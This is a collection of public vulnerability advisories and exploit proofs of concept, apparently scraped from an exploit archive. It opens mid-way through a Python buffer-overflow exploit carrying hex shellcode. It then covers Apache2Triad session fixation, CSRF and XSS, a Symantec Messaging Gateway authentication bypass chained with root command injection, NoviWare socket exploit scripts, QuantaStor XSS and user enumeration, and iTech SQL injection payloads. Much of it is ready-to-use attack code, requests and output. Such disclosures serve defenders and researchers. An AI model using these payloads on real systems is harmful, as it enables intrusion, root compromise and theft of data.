buf += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xee\xfb\x2a"
buf += "\x0c\xed\xeb\x29\xef\x0e\xeb\x4d\x79\xeb\xda\x4d\x1d"
buf += "\x7f\x4c\x7e\x55\x2d\x60\xf5\x3b\xc6\xf3\x7b\x94\xe9"
buf += "\xb4\x36\xc2\xc4\x45\x6a\x36\x46\xc5\x71\x6b\xa8\xf4"
buf += "\xb9\x7e\xa9\x31\xa7\x73\xfb\xea\xa3\x26\xec\x9f\xfe"
buf += "\xfa\x87\xd3\xef\x7a\x7b\xa3\x0e\xaa\x2a\xb8\x48\x6c"
buf += "\xcc\x6d\xe1\x25\xd6\x72\xcc\xfc\x6d\x40\xba\xfe\xa7"
buf += "\x99\x43\xac\x89\x16\xb6\xac\xce\x90\x29\xdb\x26\xe3"
buf += "\xd4\xdc\xfc\x9e\x02\x68\xe7\x38\xc0\xca\xc3\xb9\x05"
buf += "\x8c\x80\xb5\xe2\xda\xcf\xd9\xf5\x0f\x64\xe5\x7e\xae"
buf += "\xab\x6c\xc4\x95\x6f\x35\x9e\xb4\x36\x93\x71\xc8\x29"
buf += "\x7c\x2d\x6c\x21\x90\x3a\x1d\x68\xfe\xbd\x93\x16\x4c"
buf += "\xbd\xab\x18\xe0\xd6\x9a\x93\x6f\xa0\x22\x76\xd4\x5e"
buf += "\x69\xdb\x7c\xf7\x34\x89\x3d\x9a\xc6\x67\x01\xa3\x44"
buf += "\x82\xf9\x50\x54\xe7\xfc\x1d\xd2\x1b\x8c\x0e\xb7\x1b"
buf += "\x23\x2e\x92\x7f\xa2\xbc\x7e\xae\x41\x45\xe4\xae"
 
nops = "\x90" * 16
 
badchars = "\x0a\x0d"
 
data = buffer + nSEH + SEH + nops + buf
 
f = open ("pyramid.txt", "w")
f.write(data)
f.close()
            
[+] Credits: John Page AKA hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/APACHE2TRIAD-SERVER-STACK-v1.5.4-MULTIPLE-CVE.txt
[+] ISR: ApparitionSec            
 

Vendor:
===============
apache2triad.net
https://sourceforge.net/projects/apache2triad/



Product:
===========
Apache2Triad v1.5.4

Apache2Triad spells instant and facile deployment of web software on any windows server along the lines of the WAMP paradigm
in a point and click manner in just minutes and is a ideal solution for the setup of server farms.



Vulnerability Type(s):
======================
Session Fixation
Cross Site Request Forgery
Persistent Cross Site Scripting


CVE Reference:
==============
CVE-2017-12965 (Session Fixation)
CVE-2017-12970 (Cross Site Request Forgery)
CVE-2017-12971 (Persistent Cross Site Scripting)

This application is old and not actively developed according to the website, yet it is still avail for download so
I release the advisory.


Security Issue(S):
================
CVE-2017-12965

Apache2Triad allows remote attackers to set an arbitrary PHPSESSID cookie, if a Apache2Triad user authenticates using the
attacker controlled PHPSESSID the attacker can then access the Apache2Triad Web application with same level of access
as that of the victim to potentially take over the Apache2Triad system.

e.g.

Pre - Authentication
a4ce6912be9d29a9ba4106c989859e7b

Post - Authentication
a4ce6912be9d29a9ba4106c989859e7b

We see the PHPSESSID is never regenerated, to make matters worse Apache2Triad will happily accept an abitrary attacker
supplied session cookie and persist it. Our evil cookie will get written here "C:\apache2triad\temp" as sess_HACKED123.

set our cookie like,

Attacker lure:
<a href="http://VICTIM-IP/phpsftpd/?PHPSESSID=HACKED123">Important message</a>

Victim logs on using our lure.

HTTP 200 OK
Response cookies	
PHPSESSID	
value	"HACKED123"
path	"/"
Request cookies	
PHPSESSID	"HACKED123"


Since we control the PHP Session ID and it persists across applications we can then jump to "phpxmail"
using above session and have an authenticated session avail to do whatever we wish.

e.g.

http://VICTIM-IP/phpxmail/?PHPSESSID=HACKED123

Now access some arbitrary application resource bypassing normal authentication.
http://VICTIM-IP/phpxmail/main.php?action=servercmd

Tested successfully in Firefox, IE


CVE-2017-12970

Remote attackers who can trick an authenticated Apache2Triad user to visit a malicious webpage or link can execute HTTP Requests
on behalf of the authenticated user, attackers can then add or delete arbitrary users to the affected system. 

Tested successfully in Firefox, IE


CVE-2017-12971

Remote attackers can execute arbitrary code that will run in the security context of the victims browser, if
an authenticated user visits an attacker controlled webpage or link.

Since Apache2Triad has Session Fixation flaw, we can leverage this to potentially bypass normal authentication. 
XSS payload will get written to the "slimftpd.conf" configuration file under "C:\apache2triad\ftp" directory.

e.g.

<User "\"/><script>alert(document.cookie)</script>">

</User>


Tested successfully in Firefox


Exploit/POC(s):
==============
CVE-2017-12965 (Session Fixation)

1) Create lure with a attacker controlled PHPSESSID, something like...

<a href="http://VICTIM-IP/phpsftpd/?PHPSESSID=HACKED123">You have new messages, logon to view</a>

2) Authenticate to Apache2Triad using that link

3) Open another Web Browser using above attacker supplied link. You can now access the vulnerable
application using same PHPSESSID session cookie from another browser.


CVE-2017-12970 (CSRF)

Add user

<form action="http://VICTIM-IP/phpsftpd/users.php" method="post">
<input type="hidden" name="account" value="PWNU">
<input type="hidden" name="create" value="Create+New+User">
<script>//document.forms[0].submit()</script>
</form>

HTTP Response:
"The account PWNU was sucesfully created"

Create  password

<form action="http://VICTIM-IP/phpsftpd/users.php" method="post">
<input type="hidden" name="Username_d" value="PWNU">
<input type="hidden" name="Password_d" value="abc123">
<input type="hidden" name="update" value="Update+Settings">
<input type="hidden" name="account" value="PWNU">
<input type="hidden" name="instructions" value="">
<script>//document.forms[1].submit()</script>
</form>

HTTP Response:
"The account PWNU was sucesfully updated"


Delete users

<form action="http://VICTIM-IP/phpsftpd/users.php" method="post">
<input type="hidden" name="delete" value="Yes">
<input type="hidden" name="account" value="PWNU">
<script>//document.forms[2].submit()</script>
</form>

HTTP Response:
"The account PWNU was sucesfully deleted"


CVE-2017-12971 (XSS)

<form action="http://VICTIM-IP/phpsftpd/users.php" method="post">
<input type="hidden" name="account" value='"/><script>alert(document.cookie)</script>'>
<input type="hidden" name="create" value="Create+New+User">
<script>document.forms[0].submit()</script>
</form>


HTTP Response example:
"PHPSESSID=HACKED123"


Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification: "No longer being maintained"
August 21, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            
This is an advisory for CVE-2017-6327 which is an unauthenticated remote
code execution flaw in the web interface of Symantec Messaging Gateway
prior to and including version 10.6.3-2, which can be used to execute
commands as root.

Symantec Messaging Gateway, formerly known as Brightmail, is a linux-based
anti-spam/security product for e-mail servers. It is deployed as a physical
device or with ESX in close proximity to the servers it is designed to
protect.

=*=*=*=*=*=*=*=*=    TIMELINE

2017-07-07: Reported to Symantec
2017-08-10: Patch and notice released by Symantec [1]
2017-08-18: Public technical advisory

=*=*=*=*=*=*=*=*=    DESCRIPTION

- Bug #1: Web authentication bypass

The web management interface is available via HTTPS, and you can't do much
without logging in.

If the current session (identified by the `JSESSIONID` cookie) has the
`user` attribute set, the session is considered authenticated.

The file LoginAction.class defines a number of public methods and they can
all be reached via unauthenticated web requests.

By making a GET request to `/brightmail/action1.do?method=method_name` we
can execute `LoginAction.method_name` if `method_name` is a public method.

One such public method which will be the target of our authentication
bypass is called `LoginAction.notificationLogin`.

It does the following:

1. Decrypt the `notify` parameter using `BrightmailDecrypt.decrypt`
2. Creates a new `UserTO` object using the decrypted `notify` parameter as
an email value
3. Creates a new session, invalidating the old one if necessary
4. Sets the `user` attribute of the newly created session to our
constructed UserTO object

It essentially takes a username value from a GET parameter and logs you in
as this user if it exists. If not, it creates this user for you.

We need to encrypt our `notify` argument so that
`BrightmailDecrypt.decrypt` will decrypt it properly. Fortunately the
encryption is just PBEWithMD5AndDES using a static password, conveniently
included in the code itself. I won't include the encryption password or a
fully encrypted notify string in this post.


Example request:

GET
/brightmail/action1.do?method=notificationLogin&notify=MTIzNDU2Nzg%3d6[...]&id=test
HTTP/1.1
...


HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
...
Set-Cookie: JSESSIONID=9E45E9F70FAC0AADAC9EB7A03532F65D; Path=/brightmail;
Secure; HttpOnly


- Bug #2: Command injection

The RestoreAction.performRestore method can be reached with an
authenticated session and it takes the restoreSource and
localBackupFilename parameters.

After a long chain of function calls, localBackupFilename ends up being
sent to the local "bmagent" daemon listening on port 41002. It will execute
/opt/Symantec/Brightmail/cli/bin/db-restore with argv[1] being our supplied
value.

The db-restore script is a sudo wrapper for
/opt/Symantec/Brightmail/cli/sbin/db-restore, which in turn is a perl
script containing a command injection in a call to /usr/bin/du.

$ /opt/Symantec/Brightmail/cli/bin/db-restore 'asdf;"`id`";'
/usr/bin/du: cannot access `/data/backups/asdf': No such file or directory
sh: uid=0(root) gid=0(root) groups=0(root): command not found
ERROR: Failed to copy 'asdf;"`id`";' from local backup store: No such file
or directory


This command injection can be exploited from the web management interface
with a valid session, which we can create using bug #1.

- Combining bug #1 and #2

The last step is to get a CSRF token since the vulnerable performRestore
function is annotated with @CSRF.

After some quick digging it turns out that all you need to do is call
/brightmail/common.jsp to get a token that will be valid for all your
requests.

The URL-encoded value we provide for the `localBackupFileSelection`
parameter is:
asdf`id>/data/bcc/webapps/brightmail/output.txt;/bin/uname
-a>>/data/bcc/webapps/brightmail/output.txt`hehehe

Request:

GET
/brightmail/admin/restore/action5.do?method=performRestore&symantec.brightmail.key.TOKEN=bbda9b0a52bca4a43cc2b6051cd6b95900068cd3&restoreSource=APPLIANCE&localBackupFileSelection=%61%73%64%66%60%69%64%3e%2f%64%61%74%61%2f%62%63%63%2f%77%65%62%61%70%70%73%2f%62%72%69%67%68%74%6d%61%69%6c%2f%6f%75%74%70%75%74%2e%74%78%74%3b%2f%62%69%6e%2f%75%6e%61%6d%65%20%2d%61%3e%3e%2f%64%61%74%61%2f%62%63%63%2f%77%65%62%61%70%70%73%2f%62%72%69%67%68%74%6d%61%69%6c%2f%6f%75%74%70%75%74%2e%74%78%74%60%68%65%68%65%68%65
HTTP/1.1
Host: 192.168.205.220
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=34D61B34698831DB765A9DD5E0049D0B
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-store,no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
Content-Length: 803
Date: Thu, 29 Jun 2017 06:48:12 GMT
Connection: close

<HTML>
<title>Symantec Messaging Gateway -&nbsp;Restore</title>
...


Now to confirm that our command output was correctly placed in a file
inside the webroot.

imac:~% curl -k https://192.168.205.220/brightmail/output.txt
uid=0(root) gid=0(root) groups=0(root)
Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13
22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux


=*=*=*=*=*=*=*=*=    EXPLOIT OUTPUT

imac:~/brightmail% python brightmail-rce.py
https://192.168.205.220/brightmail
bypassing login..
* JSESSIONID=693079639299816F80016123BE8A0167
verifying login bypass..
* Version: 10.6.3
getting csrf token..
* 1e35af8c567d3448a65c8516a835cec30b6b8b73
done, verifying..

uid=501(bcc) gid=99(nobody) euid=0(root) egid=0(root)
groups=0(root),99(nobody),499(mysql),502(bcc)
Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13
22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux


# cat /etc/issue

Symantec Messaging Gateway
Version 10.6.3-2
Copyright (c) 1998-2017 Symantec Corporation.  All rights reserved.


=*=*=*=*=*=*=*=*=    REFERENCES

[1]
https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20170810_00

=*=*=*=*=*=*=*=*=    CREDIT

Philip Pettersson
            
NoviFlow NoviWare <= NW400.2.6 multiple vulnerabilities


Introduction
==========
NoviWare is a high-performance OpenFlow 1.3, 1.4 and 1.5 compliant
switch software developed by NoviFlow and available for license to
network equipment manufacturers.
Multiple vulnerabilities were identified in the NoviWare software
deployed on NoviSwitch devices. They could allow a remote attacker to
gain privileged code execution on the switch (non-default
configuration) or a low-privileged CLI user to execute code as root.


CVEs
=====
* CVE-2017-12784: remote code execution in novi_process_manager_daemon
Indicative CVSS v2 base score: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)

* CVE-2017-12785: cli breakout in novish
Indicative CVSS v2 base score: 6.8 (AV:L/AC:L/Au:S/C:C/I:C/A:C)

* CVE-2017-12786: remote code execution in noviengine and cliengine
Indicative CVSS v2 base score: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)


Affected versions
==============
NoviWare <= NW400.2.6 and devices where a vulnerable NoviWare version
is deployed


Author
======
François Goichon - Google Security Team


CVE-2017-12784
==============
Remote code execution in novi_process_manager_daemon

Summary
-------------
The NoviWare switching software distribution is prone to two distinct
bugs which could potentially allow a remote, unauthenticated attacker
to gain privileged (root) code execution on the switch device.
- A flaw when applying ACL changes requested from the CLI could expose
the novi_process_manager_daemon network service
- This network service is prone to command injection and a stack-based
buffer overflow

Reproduction
------------------
If TCP port 2020 is accepting connections from the network, the
following python script can be used to ping yourself on vulnerable
versions :
---
from struct import pack
import socket

s = socket.socket()
s.connect((<switch host>, 2020))

payload = pack("<I", 0xffffffff).ljust(0x24) + "ping <your ip>; echo\x00"
s.sendall(pack("<II", 1, len(payload)+8))
s.sendall(payload)

s.close()
---

On vulnerable versions, the appliance will perform an ICMP request to
the specified IP, which can be observed in network logs.

Remediation
-----------------
- Upgrade to NoviWare400 3.0 or later.
- NoviFlow customers should have received instructions on how to get
the latest release along with release notes. For more information,
contact support@noviflow.com.


CVE-2017-12785
==============
Cli breakout in novish

Summary
-------------
The NoviWare switching software distribution is prone to a buffer
overflow and a command injection, allowing authenticated,
low-privileged users to break out of the CLI and execute commands as
root.

Reproduction
------------------
Log in to the appliance via SSH and run the following command from the CLI:
--
noviswitch# show log cli username
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
--

If the appliance is vulnerable, the cli crashes and the session ends.

Remediation
-----------------
- Upgrade to NoviWare400 3.0 or later.
- NoviFlow customers should have received instructions on how to get
the latest release along with release notes. For more information,
contact support@noviflow.com.


CVE-2017-12786
==============
Remote code execution in noviengine and cliengine

Summary
-------------
The NoviWare switching software distribution is prone to two distinct
bugs which could potentially allow a remote, unauthenticated attacker
to gain privileged (root) code execution on the switch device.
- A flaw when applying ACL changes requested from the CLI could expose
noviengine and cliengine network services
- These network services are prone to a stack-based buffer overflow
when unpacking serialized values.

Reproduction
------------------
If TCP ports 9090 or 12345 are accepting connections from the network,
the following python script can be used to cause a crash on vulnerable
versions :
---
from struct import pack
import socket

s = socket.socket()
s.connect((<switch host>, <9090 or 12345>))

payload = "".join([pack("<I", 4) + "AAAA" for i in xrange(408)])
payload = pack("<IIQ", 0, len(payload) + 16, 0) + payload
s.sendall(payload)

s.read(1)
s.close()
---

A watchdog should restart the service if it has crashed.

Remediation
-----------------
- Upgrade to NoviWare400 3.0 or later.
- NoviFlow customers should have received instructions on how to get
the latest release along with release notes. For more information,
contact support@noviflow.com.


Disclosure timeline
===============
2017/05/11 - Report sent to NoviFlow
2017/05/26 - Bugs acknowledged and remediation timeline confirmed
2017/07/27 - NoviWare400 3.0 release fixes all the above vulnerabilities
2017/08/09 - CVE requests
2017/08/16 - Public disclosure
            
1. --- Advisory details ---

Title: QuantaStor Software Define Storage mmultiple vulnerabilities

Advisory ID: VVVSEC-2017-6943

Advisory URL: http://www.vvvsecurity.com/advisories/vvvsecurity-advisory-2017-6943.txt

Date published: 12/08/2017

CVEs:
     CVE-2017-9978 "Brute force login request using http post mechanism returns different errors",
     CVE-2017-9979 "Rest call made for methods not implemented in the server return a response with the invalid method previously invoked."

CVSS v3.0 score:
     CVE-2017-9978 5.3 MEDIUM (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
     CVE-2017-9979 6.1 MEDIUM (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

2. --- Vulnerability details ---

Class:
    CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
    CWE-203: Information Exposure Through Discrepancy

Impact: Information disclosure

Remotely Exploitable: Yes
Locally Exploitable: No

3. --- Vulnerability Description ---

    OSNEXUS QuantaStor [1] Software Define Storage appliance was designed to ease the process of storage management.
    From vendor's website "...QuantaStor SDS, deployed in datacenters worldwide, addresses a broad set of storage use
    cases including server virtualization, big data, cloud computing, and high performance applications
    through scale-out physical and virtual storage appliances..."

    Three different vulnerabilities were found in the appliance. A user enumeration attack and two unauthenticated XSS.
    These vulnerabilities could allow a remote attacker to obtain valid usernames to perform bruteforce attacks and
    obtain sensitive information.


4. --- Affected software versions ---

              OSNEXUS QuantaStor v4 virtual appliance

5. --- Technical description ---

    5.1 --- User enumeration ---

        QuantaStor login mechanism returns different messages if the account used to perform the login is valid or not in the system.
        Leveraging this difference an attacker could be able to enumerate valid accounts.

    5.1.1 --- Proof of Concept ---

        Executing the following HTTP requests an attacker can perform a login request.

        """

        POST / HTTP/1.0
        Content-Type: text/xml; charset=utf-8
        Accept: application/soap+xml, application/dime, multipart/related, text/*
        User-Agent: Axis/1.4
        Host: localhost:5152
        Cache-Control: no-cache
        Pragma: no-cache
        SOAPAction: ""
        Authorization: Basic <REPLACE WITH BASE64 Encoded credentials>
        Content-Length: 384


        <?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <soapenv:Body>
        <objectGet xmlns="http://quantastor.osnexus.com/webservices/osn.xsd"><reserved xmlns="">
        </reserved></auditLogGet></soapenv:Body></soapenv:Envelope>

        """

        If the user included in the request is valid, the error returned by the application will be:

            <SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Server</faultcode><faultstring><fault>Authentication check failed for 'admin',
            please verify your password was entered correctly. (10.10.0.1) [err=26]
            </fault></faultstring><detail><detail><msg>Authentication check failed for 'admin', please verify your password was entered correctly. (10.10.0.1)
            [err=26]</msg><loc>service/osn_security_manager.cpp:1298</loc></detail></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>

        But if the user doesn't exist in the system, the message will be:

            <SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Server</faultcode><faultstring><fault>Authentication failed, please
            verify your username, 'TESTUSER' is invalid. (10.10.0.1) [err=26]</fault></faultstring><detail><detail><msg>
            Authentication failed, please verify your username, 'TESTUSER' is invalid. (10.10.0.1) [err=26]
            </msg><loc>service/osn_security_manager.cpp:1256</loc></detail></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>

    5.2 --- Cross Site Scripting in "qsCall" parameter

        QuantaStor API accepts parameters through the use of the "qsCall" parameter. If the method called
        doesn't exist an error will be triggered containing the invalid method previously invoked.
        The response sent to the user isn't sanitized.
        An attacker can leverage this issue including arbitrary HTML or JavaScript code in the qsCall parameter.

    5.2.2 --- Proof of Concept ---

        Execute the following HTTP request.

        """
        https://<HOST>:8153/qstorapi?qsCall=%3Cscript%3Ealert(1)%3C/script%3E
        """

    5.3 --- Cross Site Scripting in "/qstorapi/jsonrpc"

        QuantaStor "jsonrpc "API accepts parameters through the use of a JSON dictionary. If the method called
        doesn't exist an error will be triggered containing the invalid method previously invoked.
        The response sent to the user isn't sanitized.
        An attacker can leverage this issue including arbitrary HTML or JavaScript code in the "method" key.

    5.3.1 --- Proof of Concept ---

        Execute the following HTTP request.

        """
        POST /qstorapi/jsonrpc HTTP/1.0

        Accept: application/soap+xml, application/dime, multipart/related, text/*
        User-Agent: Axis/1.4
        Host: <HOST>:8153
        Cache-Control: no-cache
        Pragma: no-cache
        Content-Type: application/json
        Content-Length: 54


        {"method":"<script>alert(1)</script>", "params":"asd"}
        """


6. --- Vendor information ---

        OSNEXUS released Quantastor version 4.3.1 fixing CVE-2017-9978 and CVE-2017-9979

7. --- Credits ---

    These vulnerabilities were discovered by Nahuel D. Sanchez, VVVSecurity

8. --- Report timeline ---

    25/06/2017 -- VVVSecurity sent Advisory to OSNEXUS
    29/06/2017 -- OSNEXUS confirmed the security vulnerabilities, CVE-2017-9978 and CVE-2017-9979 were provided.
    24/07/2017 -- OSNEXUS released QuantaStor version 4.3.1
    12/08/2017 -- Security Advisory published

9. --- References ---

    [1] https://www.osnexus.com/software-defined-storage/

10. --- Copyright ---

    The contents of this advisory are copyright (c) 2017 VVVSecurity and are licensed
    under a Creative Commons Attribution Non-Commercial Share-Alike 4.0
    License: http://creativecommons.org/licenses/by-nc-sa/4.0/ <http://creativecommons.org/licenses/by-nc-sa/4.0/> 
            
# # # # #
# Exploit Title: iTech Movie Script 7.51 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : http://itechscripts.com/
# Software Link: http://itechscripts.com/movie-portal-script/
# Demo: http://movie-portal.itechscripts.com/
# Version: 7.51
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
# 
# http://localhost/[PATH]/movie.php?f=[SQL]
# -9+UNION(SELECT+0x283129,0x283229,0x283329,0x283429,0x283529,0x283629,(sELECT+eXPORT_sET(0x35,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(0x35,eXPORT_sET(0x35,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,0x32)),0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229,0x28323329,0x28323429,0x28323529,0x28323629,0x28323729,0x28323829,0x28323929,0x28333029,0x28333129,0x28333229,0x28333329,0x2833429)--+-
# 
# http://localhost/[PATH]/show_misc_video.php?id=[SQL]
# 
# http://localhost/[PATH]/tvshow.php?s=[SQL]
#
# Etc...
# # # # #
            
# # # # #
# Exploit Title: iTech Job Script 9.27 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : http://itechscripts.com/
# Software Link: http://itechscripts.com/job-portal-script/
# Demo: http://job-portal.itechscripts.com/
# Version: 9.27
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
# 
# http://localhost/[PATH]/Employer_Details.php?id=[SQL]
# -3'++UNION+ALL+SELECT+0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3130,(sELECT+eXPORT_sET(0x35,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(0x35,eXPORT_sET(0x35,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,0x32)),0x3132,0x3133,0x3134,0x3135,0x3136,0x3137,0x3138,0x3139,0x3230,0x3231,0x3232,0x3233,0x3234,0x3235,0x3236,0x3237,0x3238,0x3239,0x3330,0x3331,0x3332--+-
# 
# http://localhost/[PATH]/Job_Details.php?id=[SQL]
#
# Etc...
# # # # #
            
# # # # #
# Exploit Title: iTech Dating Script 3.40 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : http://itechscripts.com/
# Software Link: http://itechscripts.com/dating-script/
# Demo: http://dating.itechscripts.com/
# Version: 3.40
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/see_more_details.php?id=[SQL]
# -48+UNION(SELECT+0x283129,(sELECT+eXPORT_sET(0x35,@:=0,(sELECT+cOUNT(*)fROM(iNFORMATiON_sCHEMA.cOLUMNS)wHERE@:=eXPORT_sET(0x35,eXPORT_sET(0x35,@,tABLE_nAME,0x3c6c693e,2),cOLUMN_nAME,0xa3a,2)),@,0x32)),0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229,0x28323329,0x28323429,0x28323529,0x28323629,0x28323729,0x28323829,0x28323929)--+-
#
# http://localhost/[PATH]/send_gift.php?id=[SQL]
#
# Etc...
# # # # #